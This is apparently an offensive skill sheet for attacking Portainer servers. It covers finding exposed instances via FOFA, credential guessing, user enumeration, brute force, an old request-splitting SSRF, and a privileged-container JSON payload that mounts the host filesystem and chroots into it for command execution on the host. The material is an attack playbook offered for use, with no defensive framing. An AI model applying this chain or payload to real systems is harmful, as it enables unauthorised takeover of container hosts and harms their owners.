portainer-exploit

Portainer vulnerability exploitation skills

• Product: Portainer (Docker/Kubernetes container management platform)
• Default port: 9000 (HTTP), 9443 (HTTPS) | Identification: /api/status Returns JSON | FOFA: app="Portainer"

Vulnerability overview

Vulnerability ID	Affected versions	Vulnerability type	Exploitation conditions	Impact
Default/weak password	All versions	Authentication bypass	Weak password	Critical
CVE-2024-29296	CE 2.19.4	User enumeration (timing difference)	No authentication required	Medium
CVE-2018-12678	<=1.17	Request Splitting SSRF→RCE	No authentication required	Critical
Docker API abuse	All versions	Privileged container escape RCE	Authentication required	Critical

Exploitation decision tree

1. 识别: GET /api/status → 确认Portainer
2. 认证突破:
   ├── 尝试默认凭据 admin/已知密码
   ├── CVE-2024-29296: 用户枚举确定有效用户名
   └── 暴力破解密码
3. 认证后: JWT Token → 枚举端点 → 特权容器 → 挂载宿主机 → RCE
4. 未认证(老版本): CVE-2018-12678 → Request Splitting → Docker API → RCE

Exploitation chain priority

1. 默认/弱口令 → JWT Token → Docker API → 特权容器 → RCE
2. CVE-2024-29296 用户枚举 → 定向暴力破解 → 同上
3. CVE-2018-12678 (仅<=1.17) → SSRF → Docker API → RCE

Common API endpoints

Endpoint	Purpose
GET /api/status	System status/version
POST /api/auth	Login authentication
GET /api/endpoints	Docker endpoint list
POST /api/endpoints/{id}/docker/containers/create	Create container
POST /api/endpoints/{id}/docker/containers/{cid}/start	Start container
POST /api/endpoints/{id}/docker/containers/{cid}/wait	Wait for container

Core configuration for privileged container escape

{
    "Image": "ubuntu:20.04",
    "Cmd": ["/bin/sh", "-c", "chroot /host /bin/bash -c '<command>'"],
    "HostConfig": { "Binds": ["/:/host:rw"], "Privileged": true }
}

• "Privileged": true — Privileged mode, no isolation whatsoever
• "Binds": ["/:/host:rw"] — Host root directory mounted as read-write
• chroot /host — Switch to the host file system, commands act directly on the host

Detailed reference

• → CVE vulnerability exploitation details → references/cve-exploits.md
  • CVE-2024-29296 User enumeration principles and Python script
  • CVE-2018-12678 Request Splitting SSRF→RCE exploitation methods
• → Post-authentication RCE and comprehensive detection → references/post-auth-rce.md
  • Default credential detection script
  • Complete exploitation script for Docker API privileged container escape (PortainerExploit class)
  • Comprehensive vulnerability detection script